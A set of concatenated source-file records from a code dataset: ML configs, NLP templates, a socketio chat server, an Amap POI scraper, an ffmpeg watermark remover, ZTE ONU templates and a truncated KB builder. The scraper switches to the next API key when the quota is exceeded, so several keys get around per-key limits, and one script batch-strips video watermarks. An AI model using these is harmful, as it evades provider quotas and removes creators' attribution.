= 0.9\nweight_decay = 0.005","repo_name":"venkataravikumaralladi/MLAndAIMathUtils","sub_path":"SyntheticImageGenerator/python/faster_rcnn_config.py","file_name":"faster_rcnn_config.py","file_ext":"py","file_size_in_byte":490,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"75"} +{"seq_id":"70542789682","text":"from pattern.en import conjugate\n'''\nList of pattern-template tuples. \n\nA pattern matches a node (subtree under that node) in the dependency graph and is a dictionary \nthat has zero or more of the following 4 keys:\n- name: if successfully matched the returned dictionary will have this as a key mapping\n to the index of this node.\n- attributes: a dictionary of attributes this node has to have. these attributes are the\n token attrubutes in CoreNLP output. e.g. `attributes: { 'pos': 'NNP' }`. The attribute\n value is of the form `var1 | ... | varn` which matches if any of the varients match.\n Alternatively, it can be `! var1 | ... | varn` which matches if none of the varients match.\n- has_deps: depndency relations this node should have, where this node is the governor\n of the relation. This is a dictionary where keys are relations and values are \n recursive patterns.\n- has_not: a list of relations this node should not have.\n\na template is a function that takes the SentenceGraph object and result of matching and generates\na question-answer pair of strings. The answer is only for our testing. An empty string can be returned if\nsome extra conditions didn't apply which couldn't be enforeced through patterns. \nFor simple templates, they are given as a lambda, while complex ones are factored into named functions.\n'''\nname = 'name'\nattributes = 'attributes'\nhas_deps = 'has_deps'\nhas_not = 'has_not'\n\ndef bc_pattern(sg, res): \n v_tok = sg.tokens[res['verb']]\n if v_tok['pos'] == 'VBN':\n aux = sg.tokens[res['aux']]['word']\n else:\n aux = { 'VBD': 'did', 'VBP': 'do', 'VBZ': 'does' }[v_tok['pos']]\n verb = v_tok['word'] if v_tok['pos'] == 'VBN' else conjugate(v_tok['word'], 'inf')\n clause = ' '.join(map(lambda i: sg.tokens[i]['word'], range(res['verb']+1, sg.subtree_start(res['reason']))))\n return (\n 'Why {} {} {} {}?'.format(aux, sg.subtree(res['subject']), verb, clause),\n '{}'.format(sg.subtree(res['reason']))\n )\n\ndef ner_did(sg, res):\n wh = 'Who' if sg.tokens[res['subject']]['ner'] == 'PERSON' else 'What'\n return (\n '{}?'.format(sg.subtree(res['verb']).replace(sg.subtree(res['subject']), wh)) if \n sg.subtree_start(res['subject']) == 1 else '',\n sg.subtree(res['subject'])\n )\n\n\ndef wh_word(ner):\n ''' decide between Who and What '''\n return 'Who' if ner == 'PERSON' else 'What'\n\npatterns = [\n # is a \n ({\n name: 'pred',\n has_deps: {\n 'det': {\n name: 'det',\n attributes: {'word': 'a'}},\n 'cop': {attributes: {'word': 'is'}},\n 'nsubj': {\n name: 'subject',\n attributes: {'ner': '!O'}\n },\n }\n },\n lambda sg, res: (\n '{} is {}?'.format(\n wh_word(sg.tokens[res['subject']]['ner']),\n sg.subtree(res['subject'])\n ),\n '{}'.format(' '.join(\n map(lambda i: sg.tokens[i]['word'], range(res['det'], res['pred']+1))))\n )),\n\n # is the \n ({\n name: 'pred',\n has_deps: {\n 'det': {\n name: 'det',\n attributes: {'word': 'the'}},\n 'cop': {attributes: {'word': 'is'}},\n 'nsubj': {\n name: 'subject',\n attributes: {'ner': '!O'}\n },\n }\n },\n lambda sg, res: (\n '{} is {}?'.format(\n wh_word(sg.tokens[res['subject']]['ner']),\n ' '.join(map(lambda i: sg.tokens[i]['word'], range(res['det'], sg.subtree_end(res['pred'])+1)))\n ),\n '{}'.format(sg.subtree(res['subject']))\n )),\n\n ({\n name: 'verb',\n attributes: {'pos': 'VBD'},\n has_deps: {\n 'nmod:in': {name: 'time', attributes: {'ner': 'DATE'}},\n 'nsubj': {name: 'subject', attributes: {'pos': '!PRP'}}\n },\n has_not: ['cc']\n },\n lambda sg, res: (\n 'When did {} {} {}?'.format(\n sg.subtree(res['subject']),\n conjugate(sg.tokens[res['verb']]['word'], 'inf'),\n ' '.join(\n map(lambda i: sg.tokens[i]['word'], \n range(res['verb']+1, sg.length-1))\n ).replace(sg.subtree(res['time']), '')\n ),\n '{}'.format(sg.subtree(res['time']))\n )),\n\n # FIXME catched verbs not modified with in, e.g. \n # In 2005 , after six years with the club , the majority of which were spent on \n # loan at the San Jose Earthquakes , Donovan moved tothe Los Angeles Galaxy .\n # NOTE the error is actually caused by parse error by CoreNLP.\n ({\n name: 'verb',\n attributes: { 'pos': 'VBN' },\n has_deps: {\n 'nmod:in': { name: 'time', attributes: {'ner': 'DATE'}},\n 'auxpass': { name: 'aux' },\n 'nsubjpass': { name: 'subject', attributes: { 'pos': '!PRP' }}\n },\n },\n lambda sg, res: (\n 'When {} {} {}?'.format(\n sg.subtree(res['aux']),\n sg.subtree(res['subject']),\n ' '.join(map(lambda i: sg.tokens[i]['word'], range(res['verb'], sg.length-1)))\n ) if sg.subtree_start(res['time']) == 1 else '',\n '{}'.format(sg.subtree(res['time']))\n )),\n\n ({\n name: 'verb',\n attributes: { 'pos': 'VBD | VBP | VBZ' },\n has_deps: {\n 'nsubj': { name: 'subject' },\n 'advcl:because': { name: 'reason' }\n }\n },\n bc_pattern\n ),\n\n ({\n name: 'verb',\n attributes: { 'pos': 'VBN' },\n has_deps: {\n 'nsubjpass': { name: 'subject' },\n 'advcl:because': { name: 'reason' },\n 'auxpass': { name: 'aux' }\n }\n },\n bc_pattern\n ),\n\n ({\n name: 'verb',\n attributes: { 'pos': 'VBD' },\n has_deps: {\n 'nsubj': { name: 'subject', attributes: { 'ner': '!O' }},\n }\n },\n lambda sg, res: (\n '{}?'.format(sg.subtree(res['verb'])\n .replace(\n sg.subtree(res['subject']), \n wh_word(sg.tokens[res['subject']]['ner'])\n )) if sg.subtree_start(res['subject']) == 1 else '',\n sg.subtree(res['subject'])\n ))\n]","repo_name":"mntalateyya/ProjectNLP","sub_path":"src/patterns.py","file_name":"patterns.py","file_ext":"py","file_size_in_byte":6254,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"75"} +{"seq_id":"4317266258","text":"import socketio\nimport eventlet\nimport base64\nimport json\nimport DBModel\nimport time\n\nfrom datetime import datetime\nfrom difflib import SequenceMatcher\n\n\nsio = socketio.Server(async_mode='eventlet')\napp = socketio.Middleware(sio)\neventlet.monkey_patch()\n\nconnected = []\n\n\nprivatekey = None\npublickey = None\n\n@sio.on('config')\ndef my_custom_event(sid,message):\n print(\"Config\")\n\n DBModel.Users.objects(DeviceId=message[\"deviceid\"]).update_one(set__DeviceId=message[\"deviceid\"],set__LastLogin=str(int(time.time())) , upsert=True)\n\n jdata = {\n \"sid\":sid,\n \"deviceid\":message[\"deviceid\"]\n }\n connected.append(jdata)\n\n return json.dumps({\"status\":\"ok\",\"trackingCode\":123})\n\n@sio.on('getChats')\ndef my_custom_event(sid, data):\n\n chats = DBModel.Messages.objects(ChatId=data[\"chatId\"])\n arr = []\n for chat in chats:\n r_data = {\n \"Text\":chat.Text,\n \"isHelper\":chat.isHelper,\n \"AddDate\": str(chat.AddDate.strftime(\"%H:%M\"))\n }\n arr.append(r_data)\n return arr\n\n\n@sio.on('message')\ndef my_custom_event(sid, data):\n encrypted = str_xor(data[\"message\"],\"Mohamad_171_FA_09382138446\")\n\n decrypted = str_xor(encrypted,\"Mohamad_171_FA_09382138446\")\n mesages = DBModel.Messages.objects()\n\n chat = DBModel.Chats.objects.get(id=data[\"ChatId\"])\n message = DBModel.Messages()\n message.ChatId = chat\n message.isHelper = data[\"isHelper\"]\n message.MessageType = data[\"type\"]\n message.isAI = False\n message.Text = data[\"message\"]\n message.AddDate = datetime.now()\n message.save()\n data[\"sid\"] = sid\n data[\"addDate\"] = datetime.now().strftime(\"%H:%M\")\n sio.emit(\"client_message\", data)\n\n if data[\"isHelper\"] != True:\n best = \"\"\n helpers = DBModel.MessageHelper.objects()\n for message in helpers:\n if similar(message.Question,data[\"message\"]) >= 0.7:\n best = message.Answer\n if best != \"\":\n chat = DBModel.Chats.objects.get(id=data[\"ChatId\"])\n message = DBModel.Messages()\n message.ChatId = chat\n message.isHelper = True\n message.MessageType = data[\"type\"]\n message.isAI = True\n message.Text = best\n message.AddDate = datetime.now()\n message.save()\n\n data[\"message\"] = best\n data[\"isHelper\"] = True\n data[\"sid\"] = sid\n data[\"addDate\"] = datetime.now().strftime(\"%H:%M\")\n sio.emit(\"client_message\", data)\n\n\ndef str_xor(s1, s2):\n return \"\".join([chr(ord(c1) ^ ord(c2)) for (c1,c2) in zip(s1,s2)])\n\ndef similar(a, b):\n return SequenceMatcher(None, a, b).ratio()\n\nif __name__ == \"__main__\":\n\n eventlet.wsgi.server(eventlet.listen(('0.0.0.0', 4000)), app)","repo_name":"mohamad171/AIHelp-Backend","sub_path":"ChatFiles/server.py","file_name":"server.py","file_ext":"py","file_size_in_byte":2782,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"75"} +{"seq_id":"849912746","text":"#! /usr/bin/env python3\n# -*- coding:utf-8 -*-\nimport os\nimport re\nimport json\nimport time\nimport argparse\nimport encodings.idna\nfrom threading import Thread, Lock\nfrom queue import Queue\nfrom urllib.parse import quote\nfrom urllib import request\nimport pandas\nfrom transCoordinateSystem import gcj02_to_wgs84, gcj02_to_bd09\nfrom area_code import area_code\n\nparser = argparse.ArgumentParser()\nparser.add_argument('-v', '--verbose', help=\"打印更多的信息\", action=\"store_true\")\nparser.add_argument('-r', '--reset', help=\"忽略当前存在的配置信息\", action=\"store_true\")\n\namap_pos_text_url = \"https://restapi.amap.com/v3/place/text?key={}&keywords={}&city={}&citylimit=true&extensions=all&offset=25&page={}&output=json\"\namap_pos_poly_url = \"https://restapi.amap.com/v3/place/polygon?key={}&keywords={}&polygon={}&citylimit=true&extensions=all&offset=25&page={}&output=json\"\namap_district_url = \"https://restapi.amap.com/v3/config/district?subdistrict=2&extensions=all&key={}\"\n\n\ndef request_with_key(url):\n global amap_web_key\n amap_key_lock.acquire()\n req_url = url.format(amap_web_key[0])\n amap_key_lock.release()\n if args.verbose:\n print('请求url:', req_url)\n with request.urlopen(req_url) as f:\n data = f.read()\n data = data.decode('utf-8')\n data = json.loads(data)\n while int(data[\"status\"]) != 1:\n print(data)\n if int(data[\"infocode\"]) in [10001, 10044]:\n amap_key_lock.acquire()\n req_url = url.format(amap_web_key[0])\n if args.verbose:\n print('请求url:', req_url)\n with request.urlopen(req_url) as f:\n data = f.read()\n data = data.decode('utf-8')\n data = json.loads(data)\n if int(data[\"infocode\"]) in [10001,10044]:\n amap_web_key = amap_web_key[1:]\n if len(amap_web_key) == 0:\n amap_web_key.append(input(\"已超出使用额度或密钥不正确,请输入新Key:\"))\n else:\n print(\"已超出使用额度或密钥不正确,新Key自动替换中\")\n req_url = url.format(amap_web_key[0])\n amap_key_lock.release()\n else:\n print(\"请求被拒绝,可能触发QPS限制,程序将在5s后重试(出现少量本提示属于正常现象)\")\n time.sleep(5)\n if args.verbose:\n print('请求url:', req_url)\n with request.urlopen(req_url) as f:\n data = f.read()\n data = data.decode('utf-8')\n data = json.loads(data)\n return data\n\n# 根据城市名称和分类关键字获取poi数据\ndef getpois(url):\n page = 1\n poilist = []\n while True:\n result = getpoi_page(url, page)\n if result['count'] == '0':\n break\n\n pois = result['pois']\n for i in range(len(pois)):\n poilist.append(pois[i])\n\n page += 1\n return poilist\n\n# 数据写入csv文件中\ndef write_to_csv(poilist, file_name):\n data_csv = {}\n lons, lats, names, addresss, pnames, citynames, business_areas, types = [\n ], [], [], [], [], [], [], []\n\n for i in range(len(poilist)):\n location = poilist[i].get('location')\n name = poilist[i].get('name')\n address = poilist[i].get('address')\n pname = poilist[i].get('pname')\n cityname = poilist[i].get('cityname')\n business_area = poilist[i].get('business_area')\n type = poilist[i].get('type')\n lng = str(location).split(\",\")[0]\n lat = str(location).split(\",\")[1]\n\n if (coord == 2):\n result = gcj02_to_wgs84(float(lng), float(lat))\n lng = result[0]\n lat = result[1]\n if (coord == 3):\n result = gcj02_to_bd09(float(lng), float(lat))\n lng = result[0]\n lat = result[1]\n lons.append(lng)\n lats.append(lat)\n names.append(name)\n addresss.append(address)\n pnames.append(pname)\n citynames.append(cityname)\n if business_area == []:\n business_area = ''\n business_areas.append(business_area)\n types.append(type)\n data_csv['lon'], data_csv['lat'], data_csv['name'], data_csv['address'], data_csv['pname'], \\\n data_csv['cityname'], data_csv['business_area'], data_csv['type'] = \\\n lons, lats, names, addresss, pnames, citynames, business_areas, types\n\n df = pandas.DataFrame(data_csv)\n\n file_path = 'data' + os.sep + file_name + \".csv\"\n\n df.to_csv(file_path, index=False, encoding='utf_8_sig')\n return file_path\n\n\n# 单页获取pois\ndef getpoi_page(url, page):\n req_url = url.format(\"{}\",page)\n data = request_with_key(req_url)\n return data\n\n\ndef get_area_list(code):\n '''\n 获取城市的所有区域,只在指定了非全国的地区时会用到\n '''\n if args.verbose:\n print('获取城市的所有区域:code: ' + str(code).strip())\n data = get_distrinctNoCache(code)\n\n districts = data['districts'][0]['districts']\n # 判断是否是直辖市: 北京市、上海市、天津市、重庆市\n if (code.startswith('重庆') or code.startswith('上海') or code.startswith('北京') or code.startswith('天津')):\n districts = data['districts'][0]['districts'][0]['districts']\n\n area = []\n for district in districts:\n area.append(district['adcode'])\n\n if args.verbose:\n print(area)\n\n return area\n\n\ndef get_distrinctNoCache(code):\n '''\n 获取中国城市行政区划,只在指定了非全国的地区时会用到\n '''\n global amap_district_url\n url = amap_district_url + \"&keywords=\" + quote(code)\n\n data = request_with_key(url)\n\n return data\n\n\ndef divide_pos_scrapy(url,min_x, min_y, max_x, max_y):\n '''\n 每次区域划分为2X2,直��每个区域内的数量小于800为止\n '''\n pos_scrapy = []\n for j in range(2):\n for k in range(2):\n pos = [round(max_x*j/2+min_x*(2-j)/2, 6), round(max_y*k/2+min_y*(2-k)/2, 6), round(\n max_x*(j+1)/2+min_x*(2-j-1)/2, 6), round(max_y*(k+1)/2+min_y*(2-k-1)/2, 6)]\n pos_url = url.format(\"{}\",\n quote(\"{},{}|{},{}\".format(*pos)), \"{}\")\n result = getpoi_page(pos_url, 1)\n count = int(result[\"count\"])\n if count > 800:\n pos_scrapy.extend(divide_pos_scrapy(url,*pos))\n elif count > 0:\n pos_scrapy.append([\"{},{}|{},{}\".format(*pos), pos_url,count])\n\n return pos_scrapy\n\n\ndef gen_pos_scrapy(url,code):\n '''\n 当一个区域的店铺数量大于800时,实际值可能更大,使用多边形API进一步估计\n '''\n data = get_distrinctNoCache(code)\n # 这个API可能为空\n try:\n polyline = data[\"districts\"][0][\"polyline\"]\n except:\n return None\n poly_list = re.split(\"[;\\|]\", polyline)\n x_list,y_list = [],[]\n for poly in poly_list:\n if not poly:\n continue\n try:\n x, y = poly.split(\",\")\n except:\n pass\n x,y = float(x),float(y)\n x_list.append(x)\n y_list.append(y)\n\n min_x, min_y = min(x_list), min(y_list)\n max_x, max_y = max(x_list), max(y_list)\n\n pos_scrapy = divide_pos_scrapy(url,min_x, min_y, max_x, max_y)\n\n return pos_scrapy\n\n\ndef queue_get_scrapy_list(q, scrapy_list,scrapy_list_lock):\n '''\n get_scrapy_list 函数的并发部分\n '''\n global keywords, amap_pos_text_url, amap_pos_poly_url\n while not q.empty():\n area = q.get()\n url = amap_pos_text_url.format(\n \"{}\", quote(keywords), quote(area), \"{}\")\n result = getpoi_page(url, 1)\n count = int(result[\"count\"])\n if count > 800:\n pos_url = amap_pos_poly_url.format(\n \"{}\", quote(keywords), \"{}\", \"{}\")\n pos_scrapy = gen_pos_scrapy(pos_url, area)\n scrapy_list_lock.acquire()\n if pos_scrapy:\n scrapy_list.extend(pos_scrapy)\n # 这里还是把按区域搜索的部分添加上了,性价比不高的查漏\n scrapy_list.append([area, url, count])\n scrapy_list_lock.release()\n elif count > 0:\n scrapy_list_lock.acquire()\n scrapy_list.append([area, url, count])\n scrapy_list_lock.release()\n\ndef get_scrapy_list():\n '''\n 获取需要爬取的 url,采用地理区域 API 为主,多边形 API 辅助的方法\n '''\n global keywords\n area_list = []\n if \"全国\" in city:\n for province in area_code:\n for ct in province[\"cities\"]:\n if len(ct[\"districts\"]) > 0:\n for dt in ct[\"districts\"]:\n area_list.append(dt[\"code\"])\n else:\n area_list.append(ct[\"code\"])\n else:\n for ct in city:\n area_list.extend(get_area_list(ct))\n\n area_q = Queue()\n scrapy_list = []\n scrapy_list_lock = Lock()\n\n for area in area_list:\n area_q.put(area)\n\n area_threads = [Thread(target=queue_get_scrapy_list, args=(area_q, scrapy_list, scrapy_list_lock,))\n for _ in range(thread_num)]\n\n for thread in area_threads:\n thread.start()\n for thread in area_threads:\n thread.join()\n\n if args.verbose:\n print(scrapy_list)\n\n with open(f\"{folder_path}scrapy_list.json\", \"w\", encoding='utf-8') as f:\n json.dump(scrapy_list, f, ensure_ascii=False)\n\n\ndef queue_scrapy(q):\n '''\n 每次从队列 q 中获取一个 url,爬取后放入 all_pois\n '''\n global all_pois_lock, all_pois_write_count, all_pois_count, scrapy_id\n while not q.empty():\n id, url = q.get()\n pois_area = getpois(url)\n all_pois_lock.acquire()\n all_pois.extend(pois_area)\n all_pois_write_count += 1\n scrapy_id.append(id)\n if all_pois_write_count % 100 ==0:\n with open(f\"{folder_path}results.json\", \"w\", encoding='utf-8') as f:\n json.dump(all_pois, f, ensure_ascii=False)\n with open(f\"{folder_path}scrapy_id.json\", \"w\", encoding='utf-8') as f:\n json.dump(scrapy_id, f, ensure_ascii=False)\n print(\"当前进度:\", f\"{all_pois_write_count}/{all_pois_count}\")\n all_pois_lock.release()\n\ndef split_string(s):\n '''\n 逗号分隔转数组\n '''\n if \",\" in s:\n s = s.split(\",\")\n else:\n s = s.split(\",\")\n return list(filter(None, s))\n\nif __name__ == \"__main__\":\n args = parser.parse_args()\n\n if not args.reset and os.path.exists(\"config.json\"):\n print(\"config.json 文件存在,配置自动读取,如需要修改请删除 config.json 后重试\")\n else:\n print(\"配置创建中\")\n config = {}\n config[\"thread_num\"] = int(input(\"并发线程数(推荐5-10,高德个人开发者QPS为50):\"))\n config[\"amap_web_key\"] = split_string(input(\"高德开发者key,多个请用\\\",\\\"分隔:\"))\n config[\"city\"] = split_string(input(\"输入城市,多个请用\\\",\\\"分隔,完整查询请输入\\\"全国\\\"或直接回车:\"))\n if not config[\"city\"]:\n config[\"city\"] = ['全国']\n print(\"配置基于关键词的查询,多个请用\\\",\\\"分隔,没有请直接回车\")\n print(\"例如\\\"奶茶,便利店\\\"会分别使用奶茶和便利店作为关键词搜索,生成两个查询文件\")\n config[\"keywords\"] = split_string(input(\"输入搜索关键词:\"))\n print(\"配置基于POI分类编码查询,可输入分类代码或汉字,多个请用\\\",\\\"分隔,没有请直接回车\")\n print(\"若用汉字,请严格按照 amap_poicode.xlsx 中的名词填写\")\n config[\"types\"] = split_string(input(\"输入分类代码或汉字:\"))\n config[\"coord\"] = int(\n input(\"选择输出数据坐标系,1为高德GCJ20坐标系,2WGS84坐标系,3百度BD09坐标系(推荐2):\"))\n with open(\"config.json\", \"w\", encoding='utf-8') as f:\n config = json.dump(config, f, sort_keys=True,\n indent=4, separators=(',', ':'), ensure_ascii=False)\n print(\"配置已写入 config.json\")\n\n\n with open(\"config.json\", \"r\", encoding='utf-8') as f:\n config = json.load(f)\n\n thread_num = int(config[\"thread_num\"])\n amap_web_key = config[\"amap_web_key\"]\n city = config[\"city\"]\n coord = int(config[\"coord\"])\n\n # if \"keywords\" in config:\n # keywords = config[\"keywords\"]\n # elif \"types\" in config:\n # keywords = config[\"types\"]\n # amap_pos_text_url = amap_pos_text_url.replace(\"keywords\",\"types\")\n # amap_pos_poly_url = amap_pos_poly_url.replace(\"keywords\", \"types\")\n\n print(\"配置读取成功\")\n\n req_list = []\n for key in config[\"keywords\"]:\n req_list.append([0,key,\"\".join(city)+f\"-关键词-{key}\"])\n for key in config[\"types\"]:\n req_list.append([1,key,\"\".join(city)+f\"-分类-{key}\"])\n print(\"即将进行以下查询:\", \", \".join([i[2] for i in req_list]))\n if input(\"请确认(Y/N)\") != \"Y\":\n exit()\n\n\n for req_type,req_key,req_name in req_list:\n print(f\"开始获取 {req_name} 数据\")\n amap_key_lock = Lock()\n all_pois_lock = Lock()\n all_pois = []\n scrapy_id = []\n all_pois_count = 0\n all_pois_write_count = 0\n\n if req_type == 0:\n keywords = req_key\n amap_pos_text_url = amap_pos_text_url.replace(\"types\",\"keywords\")\n amap_pos_poly_url = amap_pos_poly_url.replace(\"types\",\"keywords\")\n elif req_type == 1:\n keywords = req_key\n amap_pos_text_url = amap_pos_text_url.replace(\"keywords\",\"types\")\n amap_pos_poly_url = amap_pos_poly_url.replace(\"keywords\",\"types\")\n\n file_name = req_name\n folder_path = 'data' + os.sep + file_name + os.sep\n if os.path.exists(folder_path) is False:\n os.makedirs(folder_path)\n\n if os.path.exists(f\"{folder_path}scrapy_list.json\"):\n print(f\"{folder_path}scrapy_list.json 文件存在,自动继续上一次查询\")\n if os.path.exists(f\"{folder_path}results.json\"):\n with open(f\"{folder_path}results.json\", \"r\", encoding='utf-8') as f:\n all_pois = json.load(f)\n if os.path.exists(f\"{folder_path}scrapy_id.json\"):\n with open(f\"{folder_path}scrapy_id.json\", \"r\", encoding='utf-8') as f:\n scrapy_id = json.load(f)\n else:\n print(\"搜索需要爬取的url中,预计需要2分钟\")\n get_scrapy_list()\n\n with open(f\"{folder_path}scrapy_list.json\", \"r\", encoding='utf-8') as f:\n scrapy_list = json.load(f)\n\n q = Queue()\n\n id, num_cnt, req_cnt = 0, 0, 0\n for area, url, count in scrapy_list:\n num_cnt += count\n if id not in scrapy_id:\n req_cnt += count//25\n q.put([id,url])\n id += 1\n\n all_pois_count = q.qsize()\n\n print(\"总数量约\"+str(num_cnt), \"预计请求\"+str(req_cnt)+\"次\", \"预计需要\"+str(round(req_cnt/thread_num/60,1))+\"分钟\")\n\n print(\"开始查询\")\n\n threads = [Thread(target=queue_scrapy, args=(q,))\n for _ in range(thread_num)]\n\n for thread in threads:\n thread.start()\n for thread in threads:\n thread.join()\n\n file_path = write_to_csv(all_pois, file_name)\n\n print(\"未去重的数据总数为:\", len(all_pois))\n print(\"文件保存至\", file_path)\n input(\"按下回车结束程序...\")\n","repo_name":"prnake/amap_poi_scrapy","sub_path":"src/app.py","file_name":"app.py","file_ext":"py","file_size_in_byte":15701,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"75"} +{"seq_id":"29536820647","text":"import os\nimport subprocess\n\n\ndef remove_watermark(input_file, output_file, box):\n x, y, w, h = box\n # 使用FFmpeg去除视频中的水印\n command = ['ffmpeg', '-i', input_file, '-vf', f'delogo=x={x}:y={y}:w={w}:h={h}:show=0', '-c:a', 'copy', output_file]\n subprocess.call(command)\n\n\ndef remove_batch(basedir, box):\n savebase = \"outputs\"\n if not os.path.exists(savebase):\n os.mkdir(savebase)\n for cpt in os.listdir(basedir):\n cpt_dir = os.path.join(basedir, cpt)\n savecpt = os.path.join(savebase, cpt)\n if not os.path.exists(savecpt):\n os.mkdir(savecpt)\n for file in os.listdir(cpt_dir):\n filepath = os.path.join(cpt_dir, file)\n savepath = os.path.join(savebase, cpt, file)\n remove_watermark(filepath, savepath, box)\n\n\nif __name__ == '__main__':\n x1, y1 = 1910, 1150\n x2, y2 = 2208, 1295\n x = x1\n y = y1\n w = x2 - x1\n h = y2 - y1\n remove_batch('videos', (x, y, w, h))\n","repo_name":"IronSpiderMan/RemoveWatermark","sub_path":"ffmpeg_remove.py","file_name":"ffmpeg_remove.py","file_ext":"py","file_size_in_byte":991,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"75"} +{"seq_id":"29892371323","text":"from .zte_onu import ZteOnuDeviceConfigType\n\n\ndef get_onu_template(user_vid: int, onu_mac: str, *args, **kwargs) -> tuple:\n template = (\n \"sn-bind enable sn\",\n \"tcont 1 profile HSI_100\",\n \"gemport 1 unicast tcont 1 dir both\",\n \"security storm-control broadcast rate 8 direction ingress vport 1\",\n \"security storm-control broadcast rate 8 direction egress vport 1\",\n \"switchport mode hybrid vport 1\",\n \"service-port 1 vport 1 user-vlan %d vlan %d\" % (user_vid, user_vid),\n \"port-location format flexible-syntax vport 1\",\n \"port-location sub-option remote-id enable vport 1\",\n \"port-location sub-option remote-id name %s vport 1\" % onu_mac,\n \"dhcp-option82 enable vport 1\",\n \"dhcp-option82 trust true replace vport 1\",\n \"ip dhcp snooping enable vport 1\",\n # 'ip-service ip-source-guard enable sport 1'\n )\n return template\n\n\ndef get_pon_mng_template(user_vid: int, *args, **kwargs) -> tuple:\n template = (\n \"service HSI type internet gemport 1 vlan %d\" % user_vid,\n \"loop-detect ethuni eth_0/1 enable\",\n \"vlan port eth_0/1 mode tag vlan %d\" % user_vid,\n \"dhcp-ip ethuni eth_0/1 from-internet\",\n )\n return template\n\n\nclass ZteF601BridgeScriptModule(ZteOnuDeviceConfigType):\n title = \"Zte F601 dhcp\"\n short_code = \"zte_f601_bridge\"\n accept_vlan = True\n zte_type = \"ZTE-F601\"\n\n def apply_zte_top_conf(\n self, prompt: str, free_onu_number: int, int_addr: str, get_onu_template_fn=get_onu_template, *args, **kwargs\n ) -> None:\n # Enter to int onu\n self.ch.do_cmd(\n \"int gpon-onu_%(int_addr)s:%(onu_num)d\" % {\"int_addr\": int_addr, \"onu_num\": free_onu_number},\n \"%s(config-if)#\" % prompt,\n )\n\n # Apply int onu config\n template = get_onu_template_fn(*args, **kwargs)\n for line in template:\n self.ch.do_cmd(line, \"%s(config-if)#\" % prompt)\n\n # Exit\n self.ch.do_cmd(\"exit\", \"%s(config)#\" % prompt)\n\n def apply_zte_bot_conf(\n self,\n prompt: str,\n int_addr: str,\n free_onu_number: int,\n get_pon_mng_template_fn=get_pon_mng_template,\n *args,\n **kwargs,\n ) -> None:\n # Enter to pon-onu-mng\n self.ch.do_cmd(\n \"pon-onu-mng gpon-onu_%(int_addr)s:%(onu_num)d\" % {\"int_addr\": int_addr, \"onu_num\": free_onu_number},\n \"%s(gpon-onu-mng)#\" % prompt,\n )\n\n # Apply config to pon-onu-mng\n for line in get_pon_mng_template_fn(*args, **kwargs):\n self.ch.do_cmd(line, \"%s(gpon-onu-mng)#\" % prompt)\n\n # Exit\n self.ch.do_cmd(\"exit\", \"%s(config)#\" % prompt)\n","repo_name":"nerosketch/djing2","sub_path":"apps/devices/device_config/pon/gpon/onu_config/zte_f601_bridge_config.py","file_name":"zte_f601_bridge_config.py","file_ext":"py","file_size_in_byte":2718,"program_lang":"python","lang":"en","doc_type":"code","stars":7,"dataset":"github-code","pt":"75"} +{"seq_id":"10273103872","text":"# -*- coding: utf-8 -*-\n\n'''\n@Author : Xu\n \n@Software: PyCharm\n \n@File : parameters.py\n \n@Time : 2019-07-08 17:13\n \n@Desc : fasttext超参数设置\n \n'''\n\nparameters = {\n 'sequence_length': 100, # 文本长度,当文本大于该长度则截断\n 'num_classes': 10, # 文本分类数\n 'vocab_size': 5000, # 字典大小\n 'embedding_size': 100, # embedding词向量维度\n 'device': '/gpu:0', # 设置device\n 'batch_size': 8, # batch大小\n 'num_epochs': 10, # epoch数目\n 'evaluate_every': 100, # 每隔多少步打印一次验证集结果\n 'checkpoint_every': 20, # 每隔多少步保存一次模型\n 'num_checkpoints': 5, # 最多保存模型的个数\n 'allow_soft_placement': True, # 是否允许程序自动选择备用device\n 'log_device_placement': False, # 是否允许在终端打印日志文件\n 'train_test_dev_rate': [0.97, 0.02, 0.01], # 训练集,测试集,验证集比例\n 'data_path': './data/cnews.test.txt', # 数据路径 格式:标签\\t文本\n 'learning_rate': 0.003, # 学习率\n 'vocab_path': './vocabs', # 保存词典路径\n}","repo_name":"charlesXu86/Text_Classification_TF","sub_path":"TC_model/fasttext/parameters.py","file_name":"parameters.py","file_ext":"py","file_size_in_byte":1242,"program_lang":"python","lang":"zh","doc_type":"code","stars":32,"dataset":"github-code","pt":"75"} +{"seq_id":"6576842129","text":"import random\n\nfrom language.nql import util as nql_util\nimport tensorflow.compat.v1 as tf\nfrom property_linking.src import util\n\nrandom.seed(0)\n\n# Need to special-case popularity and lang since it carries no information\n# Need to special-case category since that's what we're testing\nIGNORED_RELATIONS = {\n \"i//w/item/popularity\",\n \"i//w/item/category\",\n \"i/lang\",\n \"i/isa\",\n}\n\n\ndef is_constant(id_string):\n # not foolproof, should really crossreference names dict\n # Or maybe just take out all constant values\n # Takes out IDs and geocoordinates\n return id_string.startswith(\"c\")\n\n\nclass Builder(nql_util.ModelBuilder):\n \"\"\"Builder of the KB context/graph.\n \"\"\"\n\n def __init__(self,\n kb_file,\n cats_file,\n names_file,\n kb_dropout=0.0,\n max_relations=None,\n max_core_size=None,\n max_noncore_size=None,\n min_noncore_cutoff=0,\n max_constants_cutoff=None):\n\n self.kb_file = kb_file\n self.cats_file = cats_file\n self.names_file = names_file\n self.kb_dropout = kb_dropout\n self.max_relations = max_relations\n self.max_core_size = max_core_size\n self.max_noncore_size = max_noncore_size\n self.min_noncore_cutoff = min_noncore_cutoff\n self.max_constants_cutoff = max_constants_cutoff\n self.id_to_name = {}\n # Make name dict early\n with tf.gfile.GFile(self.names_file) as n_f:\n for line in n_f:\n line_data = line.strip().split(\"\\t\")\n self.id_to_name[line_data[1].strip()] = line_data[2].strip()\n tf.logging.info(\"Done reading file {}\".format(len(self.id_to_name)))\n\n def config_context(self, context, params=None):\n \"\"\"Configures context (does the building). Called by super.build_context().\n\n Args:\n context: existing (possibly empty) context object\n params: unused\n \"\"\"\n # Relations could be anything, automatically generate\n with tf.gfile.GFile(self.cats_file) as cp:\n cp_lines = cp.readlines()\n cat_ids = set([line.split(\"\\t\")[0] for line in cp_lines])\n\n with tf.gfile.GFile(self.kb_file) as kb_f:\n kb_lines = kb_f.readlines()\n kb_f_length = len(kb_lines)\n # filter here so that data cleaning can still have an effect\n kb_lines = [l for l in kb_lines if random.uniform(0, 1) > 